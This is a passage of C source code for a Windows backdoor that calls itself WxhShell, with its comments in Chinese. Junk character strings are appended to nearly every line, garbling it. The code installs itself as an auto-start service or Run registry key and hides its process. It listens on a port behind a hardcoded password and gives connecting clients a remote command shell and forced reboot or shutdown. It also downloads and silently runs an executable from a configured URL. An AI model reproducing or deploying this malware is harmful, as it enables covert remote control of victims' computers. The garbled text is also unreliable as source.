    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r;'i<t{P  
    if(Boot(SHUTDOWN)) 6"%@ L{UQ  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z,SY N?@  
    else { Nuo^+z E   
    closesocket(wsh); ~W3:xnBEk  
    ExitThread(0); ;/R kMS  
    } _hWuAJ9Qy  
    break; yIWc\wv  
    } 7|{ B#  
  // 获取shell "R8.P/ 3  
  case 's': {  }Zt.*%  
    CmdShell(wsh); R)Q/Ff@o0  
    closesocket(wsh); U Q)!|@&  
    ExitThread(0); \*Ts)EW  
    break;  M$F{N  
  } L7<+LA)s0  
  // 退出 e|JIrOnc  
  case 'x': { @]E]W#xAn  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); W w^7^q&  
    CloseIt(wsh); aU4R+.M7@  
    break; brj[c>ID  
    } aj?2jU~Pq  
  // 离开 N6WPTUQ1mF  
  case 'q': { }|SIHz!R  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); 6-tiRk~  
    closesocket(wsh); %uj[`  
    WSACleanup(); ~z&0qQ  
    exit(1); O%52V|m}{  
    break; 27Cz1[oX  
        } jmSt?M0.xV  
  } z+ uL "PG[  
  } }'PG!+=I  
]W+)ee|D  
  // 提示信息 5`{=`  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); r1+c/;TpZ  
} 9uKOR7.zbo  
  } D/e&7^iK  
@`5QG2  
  return; KM5jl9Vv  
} y2GQN:X  
(X*'y*:  
// shell模块句柄 R08&cd#$  
int CmdShell(SOCKET sock) p?}f|mQS)  
{ '^e0Ud,  
STARTUPINFO si; hI*`>9l  
ZeroMemory(&si,sizeof(si)); |y klT  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'y< t/qo  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; bB y'v/  
PROCESS_INFORMATION ProcessInfo; Ywmyr[Uh'  
char cmdline[]="cmd"; JaA&eT|  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); axOi 5  
  return 0; $y8mK|3.3u  
} &ycjSBK  
0T(O'v}.  
// 自身启动模式 E1#H{)G  
int StartFromService(void) 33*^($bE&  
{ cW=Qh-`jU;  
typedef struct DE'Xq6#PK  
{ 3'.! +#  
  DWORD ExitStatus; HJc<Gwm  
  DWORD PebBaseAddress; Pb0)HlLq  
  DWORD AffinityMask; tp7oc_s?.  
  DWORD BasePriority; tsck|;v  
  ULONG UniqueProcessId; aXQ&@BZ {j  
  ULONG InheritedFromUniqueProcessId; AbL5 !'  
}   PROCESS_BASIC_INFORMATION; P a3{Ds  
I+*osk  
PROCNTQSIP NtQueryInformationProcess; B^H4Q 4-  
@8QFP3\1  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; R_t~UTfI;  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; "tfn?n0  
WfRVv3Vm  
  HANDLE             hProcess; jMTRcj];(  
  PROCESS_BASIC_INFORMATION pbi; 52da]BW<  
wj}=@HS,3!  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); )t*S 'R  
  if(NULL == hInst ) return 0; 3Wjq>\  
km9Gwg/zT  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); 5BrU'NF  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); ~azF+}x90N  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); T@B"BoKU  
Tnf&pu#5  
  if (!NtQueryInformationProcess) return 0; )ZQHa7V  
O'"YJ,  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Ii|uGxEc  
  if(!hProcess) return 0; pTc$+Z7 3  
#E*@/ p/  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; nUiS<D2  
J>&[J!>r  
  CloseHandle(hProcess); CR%D\I$o  
c$@`P  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); d,zp `S  
if(hProcess==NULL) return 0; Q1aHIc  
976E3u"Vt  
HMODULE hMod; KX0<j  
char procName[255]; <sm#D"GpP  
unsigned long cbNeeded; $5ZR [\$  
eL<m.06cfY  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); <l* agH-.3  
OD{5m(JwL  
  CloseHandle(hProcess); PthId aN@  
`)0Rv|?  
if(strstr(procName,"services")) return 1; // 以服务启动 or?0PEx\  
t8L<x  
  return 0; // 注册表启动 V*~1,6N [  
} ,h3269$J  
J@oEV=L  
// 主模块 ?R dmKA  
int StartWxhshell(LPSTR lpCmdLine) Mi;}.K0J  
{ =6.8bZT\  
  SOCKET wsl; qlz( W  
BOOL val=TRUE; <FCj)CP%  
  int port=0; suA+8}o]  
  struct sockaddr_in door; (J6" ;  
"9c.CI  
  if(wscfg.ws_autoins) Install(); D2Vb{%(4.  
C4&U:y<ju  
port=atoi(lpCmdLine); 5x:Ift *  
p>2||  
if(port<=0) port=wscfg.ws_port; j)g_*\tQ  
i58ZV`Rk`  
  WSADATA data; 5W*7qD[m  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; O<}ep)mr  
\pjRv  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   Fg_?!zR>6  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); K<$wz/\  
  door.sin_family = AF_INET; It#hp,@e  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); #JK;& Dg!  
  door.sin_port = htons(port); ;k9 ?  
*ah>-}-  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { v_y!Oh?EG  
closesocket(wsl); Mfnlue](  
return 1; OpWeW  
} J xA^DH  
#pS]k<o%1  
  if(listen(wsl,2) == INVALID_SOCKET) { eXj\DjttG}  
closesocket(wsl); \(.nPW]9  
return 1; >wz;}9v  
} y #hga5  
  Wxhshell(wsl); <;2P._oZ  
  WSACleanup(); 8QkWgd7y  
kvMk:.  
return 0; +)/Rql(lY  
i /O1vU#  
} A[sM{i~Z  
`_NnQ%  
// 以NT服务方式启动 >yV)d/  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) &/b? I `  
{ Nrab*K(][  
DWORD   status = 0;  ET >S  
  DWORD   specificError = 0xfffffff; [@,OG-"&  
/>dB%*  
  serviceStatus.dwServiceType     = SERVICE_WIN32; r1[E{Tpz  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; RB S[*D  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; GM)\)\kNF  
  serviceStatus.dwWin32ExitCode     = 0; 3::3r}g  
  serviceStatus.dwServiceSpecificExitCode = 0; DhtU]w}  
  serviceStatus.dwCheckPoint       = 0; h(C#\{V  
  serviceStatus.dwWaitHint       = 0; :z izca4  
=]_d pEEQ  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); fhBO~o+K>  
  if (hServiceStatusHandle==0) return; viW~'}^k7  
"D ts*  
status = GetLastError(); Wrf^O2  
  if (status!=NO_ERROR) !ol hZ  
{ 4A\BGD*5  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; U^E  
    serviceStatus.dwCheckPoint       = 0; p9FA_(`^  
    serviceStatus.dwWaitHint       = 0; uE,i-g0$Id  
    serviceStatus.dwWin32ExitCode     = status; blKDQ~T2  
    serviceStatus.dwServiceSpecificExitCode = specificError; %v?jG(o  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); sDaT[).Hm  
    return; Nz(c"3T;  
  } VxUvvJ{-v  
uR06&SaA>  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; )@8'k]Glw.  
  serviceStatus.dwCheckPoint       = 0; _aXP ;kFMi  
  serviceStatus.dwWaitHint       = 0; ?D*Hl+iu  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); ?$"x^=te7  
} T..N*6<X  
y1,?ZWTayr  
// 处理NT服务事件,比如:启动、停止 ]y1$F Ir+  
VOID WINAPI NTServiceHandler(DWORD fdwControl) JfZL?D{NM  
{ C?GvTc  
switch(fdwControl) LG/=+[\{E  
{ )0 Y #-=.<  
case SERVICE_CONTROL_STOP: TIK/%T  
  serviceStatus.dwWin32ExitCode = 0; tJ?qcT?  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; `l[6rf_.  
  serviceStatus.dwCheckPoint   = 0; 1S*8v 7  
  serviceStatus.dwWaitHint     = 0; w>NZRP_3  
  { ?/`C~e<J  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); R`Ys;g/!  
  } <;$Sa's,LE  
  return; ,_"7|z wb  
case SERVICE_CONTROL_PAUSE: ~6@c]:  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; D-TNFYYy2  
  break; 1=9qAp;?o  
case SERVICE_CONTROL_CONTINUE: r+{!@`dYi  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; #hy5c,}>  
  break; ugIm:bg&  
case SERVICE_CONTROL_INTERROGATE: 38x[Ad4%  
  break; ^D ]7pe  
}; 9[t]]  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ({d,oU$>y  
} ct2_N  
"v\ bMuS  
// 标准应用程序主函数 x[GFX8h(k6  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) `@f hge  
{ hQg,#r(JE4  
C&gOA8nf  
// 获取操作系统版本 zumR(<l  
OsIsNt=GetOsVer(); 'mBLf&fB  
GetModuleFileName(NULL,ExeFile,MAX_PATH); OEy:#9<'  
sx)$=~o  
  // 从命令行安装 KRnB[$3F1  
  if(strpbrk(lpCmdLine,"iI")) Install();  m+72C]9  
z) ]BV=  
  // 下载执行文件 C,OB3y  
if(wscfg.ws_downexe) { G<">/_jn  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) z{D$~ ob  
  WinExec(wscfg.ws_filenam,SW_HIDE); G:h;C].  
} 2g ?Jb5)  
=FtM;(\  
if(!OsIsNt) {  ?;ALF  
// 如果时win9x,隐藏进程并且设置为注册表启动 7})!>p )  
HideProc(); )9A<fwpN  
StartWxhshell(lpCmdLine); fw(j6:p  
} MYDf`0{$_a  
else jt'Y(u]2  
  if(StartFromService()) S+_A <p  
  // 以服务方式启动 O)$N}V0  
  StartServiceCtrlDispatcher(DispatchTable); @ }zS/LO  
else tKs4}vW  
  // 普通方式启动 ;9!yh\\   
  StartWxhshell(lpCmdLine); |h^G$guw  
vjs|!O=oH  
return 0; gNEzlx8A  
} 26('V `N  
,{`o/F/  
0btmao-  
T0*TTB&b  
=========================================== @ 2%.>0s.  
6S! lD=  
6?<`wGs(  
, IMT '*  
EvH(Po h  
7b7%(  
" (_%JF[W  
$dVgFot  
#include <stdio.h>  hZss  
#include <string.h> G +nY}c  
#include <windows.h> [kp7LA"`  
#include <winsock2.h> W)$|Hm:H  
#include <winsvc.h> 5x1%oC  
#include <urlmon.h> cOZajC<G  
9|G=KN)P:  
#pragma comment (lib, "Ws2_32.lib") "b1R5(Ar  
#pragma comment (lib, "urlmon.lib") K;ry4/Vap  
%`s9yRk9>E  
#define MAX_USER   100 // 最大客户端连接数 ,h wf  
#define BUF_SOCK   200 // sock buffer ',J%Mv>Yf  
#define KEY_BUFF   255 // 输入 buffer -?%{A%'  
M$>WmG1~D  
#define REBOOT     0   // 重启 *xZQG9`kt  
#define SHUTDOWN   1   // 关机 &t.>^7ELF  
8&2gM  
#define DEF_PORT   5000 // 监听端口 _,K>u6N&  
H~_^w.P  
#define REG_LEN     16   // 注册表键长度 RqX4ep5j  
#define SVC_LEN     80   // NT服务名长度 6M<mOhp@}n  
P :7l#/x_  
// 从dll定义API ('o; M:  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); {6=H/g=:i  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); Me K\eZ\  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 9/X v&<Tn  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); fbx;-He!  
+}G>M=t::  
// wxhshell配置信息 i/ O,`2  
struct WSCFG { &' Nk2{  
  int ws_port;         // 监听端口 $CQwBsYb=  
  char ws_passstr[REG_LEN]; // 口令 EbwZZSds1  
  int ws_autoins;       // 安装标记, 1=yes 0=no (PT?h>|St  
  char ws_regname[REG_LEN]; // 注册表键名 g6a3MJV`  
  char ws_svcname[REG_LEN]; // 服务名 c J"]yG)=  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 Bu >yRL=*  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 'bY|$\I  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 ;ijfI  
int ws_downexe;       // 下载执行标记, 1=yes 0=no \ \mO+N47i  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" \'^Z_6{w  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 Med"dHo7  
ss*2TE7  
}; *V@MAt  
g9lg  
// default Wxhshell configuration H{tOCYyD  
struct WSCFG wscfg={DEF_PORT, g!kRa.`u1  
    "xuhuanlingzhe", DRmh(T  
    1, 2G:{FY  
    "Wxhshell", $RFu m'`5  
    "Wxhshell", G/RheH G  
            "WxhShell Service", <GFB'`L  
    "Wrsky Windows CmdShell Service", KAZkVL  
    "Please Input Your Password: ", 7i|hlk;  
  1, tgF(=a]o  
  "http://www.wrsky.com/wxhshell.exe", _6ax{:/Q  
  "Wxhshell.exe" C5lD Hw[CX  
    }; ^J5V!i$  
~3-YxCn%  
// 消息定义模块 nu<!2xs,  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; }HQT@&=  
char *msg_ws_prompt="\n\r? for help\n\r#>"; kV(DnZ#jq  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; e[ k;SSs  
char *msg_ws_ext="\n\rExit."; >0;"qT  
char *msg_ws_end="\n\rQuit."; u%IKM \  
char *msg_ws_boot="\n\rReboot..."; ~PAbLSL*u  
char *msg_ws_poff="\n\rShutdown..."; JU%yqXO  
char *msg_ws_down="\n\rSave to "; v,.n/@s|X  
1.d9{LO[-  
char *msg_ws_err="\n\rErr!"; "y ,(9_#  
char *msg_ws_ok="\n\rOK!"; w-Q 6 -  
FLnAN;  
char ExeFile[MAX_PATH]; wM&x8 <  
int nUser = 0; fvBC9^3  
HANDLE handles[MAX_USER]; zl8\jP  
int OsIsNt; I(kIHjV|  
OFAqP1o{$  
SERVICE_STATUS       serviceStatus; {j=hQL3  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; <!HD tN  
+&zuI  
// 函数声明 "s6_lhu=E7  
int Install(void); E~O>m8hF  
int Uninstall(void); )I UWM  
int DownloadFile(char *sURL, SOCKET wsh); .N><yQ-j3'  
int Boot(int flag); ^fiRRFr[  
void HideProc(void); md +`#-D\O  
int GetOsVer(void); czsoD) N  
int Wxhshell(SOCKET wsl); SFPIr0 u  
void TalkWithClient(void *cs); _TcQ12H 5<  
int CmdShell(SOCKET sock); X'Il:SK  
int StartFromService(void); !J?=nSu  
int StartWxhshell(LPSTR lpCmdLine); OsSiBb,W79  
>`V|`Zi ?  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); A kQFb2|ir  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); ?}Ptb&Vk(  
o?hw2-mH  
// 数据结构和表定义 VKfHN_m*  
SERVICE_TABLE_ENTRY DispatchTable[] = ]~ 8N  
{ <.B > LU  
{wscfg.ws_svcname, NTServiceMain}, mt]YY<l  
{NULL, NULL} wU3ica&[   
}; 5OqsnL_V  
tZBE& :l  
// 自我安装 UHl/AM> !  
int Install(void) t:@A)ip  
{  >33b@)  
  char svExeFile[MAX_PATH]; LUVJ218p  
  HKEY key; { rJF)\2  
  strcpy(svExeFile,ExeFile); ZZJ"Ny.2  
YZtA:>;p  
// 如果是win9x系统,修改注册表设为自启动 CpdY)SMSL  
if(!OsIsNt) { 5<8>G?Y  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { f2e$BA  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); r|BKp,u9  
  RegCloseKey(key); {[y"]_B4  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { K>JU/(  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); kT=|tQ@  
  RegCloseKey(key); 3A/MFQ#2  
  return 0; 8ewEdnE   
    } w)SxwlW}  
  } WjxBNk'f  
} U5%]nT"[]  
else { t"Rf67  
mpJ_VS`  
// 如果是NT以上系统,安装为系统服务 -@?>nLQb  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); sWzXl~JbF  
if (schSCManager!=0) ;8Q?`=a  
{ SL 5DWZ  
  SC_HANDLE schService = CreateService `l40awGCz  
  ( !b8|{#qh.  
  schSCManager, j|8{Vyqd  
  wscfg.ws_svcname, D(?#oCCA  
  wscfg.ws_svcdisp, S5 vMP N  
  SERVICE_ALL_ACCESS, g {wPw  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , j`M<M[C*4N  
  SERVICE_AUTO_START, BnY|t2r  
  SERVICE_ERROR_NORMAL, (&x\,19U$  
  svExeFile, J3E:r_+  
  NULL, u+FftgA  
  NULL, 5fv6RQD  
  NULL, %Ne>'252y  
  NULL, XE%6c3s  
  NULL I}3K,w/7mi  
  ); bv"({:x  
  if (schService!=0) Bm>(m{sX>  
  { iEO2Bil]  
  CloseServiceHandle(schService); EB<tX`Wp  
  CloseServiceHandle(schSCManager); #yxYL0CcA:  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); hpKc_|un  
  strcat(svExeFile,wscfg.ws_svcname); :WTvP$R  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { S$:S*6M@"  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); iJ#oI@s  
  RegCloseKey(key); QZP;k!"w  
  return 0; E1[%~Cpw*  
    } 3ZZI1_j  
  } KywT Oq  
  CloseServiceHandle(schSCManager); @D{[Hj`<  
} \K=PIcH  
} ;8kfgp M_  
@}RyW&1Z  
return 1; QCnVZ" !(  
} #?| z&9  
3{E}^ve  
// 自我卸载 Mi-9sW  
int Uninstall(void) +& Qqu`)?F  
{ }('QIvq2  
  HKEY key; 6% axbB  
K?eo)|4)DB  
if(!OsIsNt) { g 0=t9J  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { +T;qvx6  
  RegDeleteValue(key,wscfg.ws_regname); ;:1mv  
  RegCloseKey(key); OPh@H.)^  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { $$>,2^qr&L  
  RegDeleteValue(key,wscfg.ws_regname); 5< nK.i,  
  RegCloseKey(key); 2Vr'AEIQ  
  return 0; 2M`Ni&v  
  } ^ZBkt7  
} m>:ig\  
} nJw1Sl5  
else { EFOQ;q  
@35]IxD  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); qA[}\8}h  
if (schSCManager!=0) `buTP?]4.  
{ aa!c>"g6  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); N.rB-  
  if (schService!=0) pp_ddk  
  { l)bUHh5[  
  if(DeleteService(schService)!=0) { 0$ EJ4  
  CloseServiceHandle(schService); w| # 79,&  
  CloseServiceHandle(schSCManager); 9 f+7vCA  
  return 0; S)h1e%f, f  
  } ?os0JQVB  
  CloseServiceHandle(schService); EaL+}/q&  
  } P0<uF`87  
  CloseServiceHandle(schSCManager); \hX^Cn=6  
} evP`&23tP  
} Ric$Xmu  
#SOe &W5  
return 1; 4QDzG~N4)|  
} 9`b3=&i\  
.!! yj,bQz  
// 从指定url下载文件 sk/ Mh8z  
int DownloadFile(char *sURL, SOCKET wsh) bZJiubBRI  
{ ea/6$f9^  
  HRESULT hr; N~YeAe~+  
char seps[]= "/"; **[p{R]8o  
char *token; b*7i&q'H  
char *file; z""(M4  
char myURL[MAX_PATH]; uEY5&wX`  
char myFILE[MAX_PATH]; ,;}RIcvQV  
"b;?2_w:E  
strcpy(myURL,sURL); bSzb! hT`  
  token=strtok(myURL,seps); `WL*Jb  
  while(token!=NULL) ?,[w6O*  
  { ujBADDwOg)  
    file=token; lnUy ? 0(  
  token=strtok(NULL,seps); =n&83MYX  
  } P'';F}NwfX  
N*;/~bt7 P  
GetCurrentDirectory(MAX_PATH,myFILE); H(|v  
strcat(myFILE, "\\"); #{a<{HX  
strcat(myFILE, file); (C|%@61S  
  send(wsh,myFILE,strlen(myFILE),0); zyE yZc?  
send(wsh,"...",3,0); v%w]Q B  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); ([A;~ p;n  
  if(hr==S_OK) _ 9dV 3I  
return 0; Adm`s .  
else 9`{cX  
return 1; hCrgN?M z  
*G38N]|u6  
} JJr<cZ4]  
9:WKG'E8a  
// 系统电源模块 Ig2VJs;  
int Boot(int flag) [;bLlS,  
{ 12E"6E)  
  HANDLE hToken; _4w%U[GT,  
  TOKEN_PRIVILEGES tkp; 'tj4;+xf^  
IG\\RYr  
  if(OsIsNt) { 6W o7q\"  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ubw ]}sfM#  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); MmB-SR[>P  
    tkp.PrivilegeCount = 1; BN67o]*]<  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; =v}.sJ V?  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); Lj#6K@u@Z  
if(flag==REBOOT) { 70Am]L&M  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) 'lF|F+8   
  return 0; EOiKwhrV  
} K`sm  
else { :0l(Ll KD  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) ))vwofkw4  
  return 0; 6lGL.m'Ra  
} (`N/1}vk  
  } ~a}pYLxl  
  else { ? "gy`oCv  
if(flag==REBOOT) { 6r`g+Js/  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) h=aHZ6v  
  return 0; d>}%A ]  
} 4C$,X!kzF  
else { c}lgWu~  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) >X]<s^  
  return 0; s?G@ k}{  
} , /pE*Yk  
} bP[/  
b< rM3P;  
return 1; \]D;HR`vo  
} e-WaK0Ep  
)8_0d)  
// win9x进程隐藏模块 7g$t$cZby,  
void HideProc(void) Ptg73Gm&R  
{ 'nul{RE*  
UkC\[$-"\  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); cjL!$OE6  
  if ( hKernel != NULL ) ;%)i/MGEB  
  { )xeVoAg  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); 7hc(]8eP  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); BBDOjhik  
    FreeLibrary(hKernel); hf '3yEm  
  } 2+'&||h  
5"sF#Y&  
return; ifkA3]  
} 0-FbV,:;  
+RM3EvglDQ  
// 获取操作系统版本 mnePm{  
int GetOsVer(void) $T6<9cB@  
{ >&TktQO_T  
  OSVERSIONINFO winfo; T'XRl@  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); OCd[P1Y]  
  GetVersionEx(&winfo); W^x[ma z  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) @1pdyKK  
  return 1; B3D4fYQ  
  else J]%P fWV  
  return 0; `U1"WcN  
} nL$tXm-x  
Au {`o xD  
// 客户端句柄模块 zAH+{4lC+  
int Wxhshell(SOCKET wsl) biJU r^n  
{ %ug`dZ/  
  SOCKET wsh; 5H79) n>  
  struct sockaddr_in client; OygYP  
  DWORD myID; |(/"IS]  
F"q3p4-<>  
  while(nUser<MAX_USER) 1)%o:Xy o  
{ 9}4L 8?2  
  int nSize=sizeof(client); qIk6S6  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); QM IQy  
  if(wsh==INVALID_SOCKET) return 1; _CgD7d  
FvkKM+?F  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); XDn$=`2  
if(handles[nUser]==0) YC$pT  
  closesocket(wsh); 6O"0?wG+  
else &^}w|J?  
  nUser++; '? d[ ip  
  } E?;W@MJi  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); m'S-h'a  
BH}u\K  
  return 0; N\p3*#M  
} .RT5sj\d  
5Hr"}|J<8  
// 关闭 socket UkdQ#b1  
void CloseIt(SOCKET wsh) [~J4:yDd=  
{ R_^:<F0  
closesocket(wsh); :( `Q4D~l  
nUser--; .{Xi&[jw  
ExitThread(0); k~?@~xm,R  
} Awj`6GeJ  
f_ ::?  
// 客户端请求句柄 -Ju!2by  
void TalkWithClient(void *cs) xGA%/dy,;  
{ -0W;b"]+A  
+n0y/0Au  
  SOCKET wsh=(SOCKET)cs; SZgH0W("L  
  char pwd[SVC_LEN]; |h3 YL!  
  char cmd[KEY_BUFF]; qn<~ LxQ  
char chr[1]; ^Ab|\ 5^3  
int i,j; Oz+>I ^Q  
]!f=b\-Av  
  while (nUser < MAX_USER) { _K9jj  
/g_}5s-Z  
if(wscfg.ws_passstr) { 6Us#4 v,  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ]6%| L  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); 3A+d8fwi  
  //ZeroMemory(pwd,KEY_BUFF); `527vK 6  
      i=0; !6kLg1  
  while(i<SVC_LEN) { Q{>{ e3z}  
A5z`3T;1  
  // 设置超时 Tx!mW-Lt  
  fd_set FdRead; %9M_ * ]  
  struct timeval TimeOut; WB= gN:?  
  FD_ZERO(&FdRead); S]<Hx_[}  
  FD_SET(wsh,&FdRead); NZ Xmrc{S  
  TimeOut.tv_sec=8; :+u?A  
  TimeOut.tv_usec=0; U*6r".sz  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); [1s B  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); Y+D#Dv |  
Kj'uTEM  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); s Ce{V*ua  
  pwd=chr[0]; HK}C<gg  
  if(chr[0]==0xd || chr[0]==0xa) { M[X& Q  
  pwd=0; ,fL*yn  
  break; i |C'_gw`n  
  } @P% &Dha  
  i++; wL}=$DN  
    } TEY%OI zU+  
M*t{?o/t;  
  // 如果是非法用户,关闭 socket RhYf+?2  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); nlJxF5/  
} Fd3V5h  
zX)uC<  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 0{ \AP<  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); &'R\yX<J)  
b,I$.&BD  
while(1) { rtOXK4)]I  
pwm ]2}+  
  ZeroMemory(cmd,KEY_BUFF); Xbfn@7m  
b,s T[!X[  
      // 自动支持客户端 telnet标准   %rYd=Ri  
  j=0; C EAwQH  
  while(j<KEY_BUFF) { M[SWMVN{  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); p0[ %+n%  
  cmd[j]=chr[0]; :]:q=1;c  
  if(chr[0]==0xa || chr[0]==0xd) { nq r[HFWs  
  cmd[j]=0; ~ZT(@w  
  break; AuWEy-q?  
  } p6|0JBm  
  j++; mI}1si=$  
    } @<l7"y;\  
}O8$?7j(  
  // 下载文件 /-1[}h%U'  
  if(strstr(cmd,"http://")) { rIy,gZr.U  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ^xFZ;Yf  
  if(DownloadFile(cmd,wsh)) 8n NRn[oS  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); W* N^Gp@  
  else =`u4xa#m  
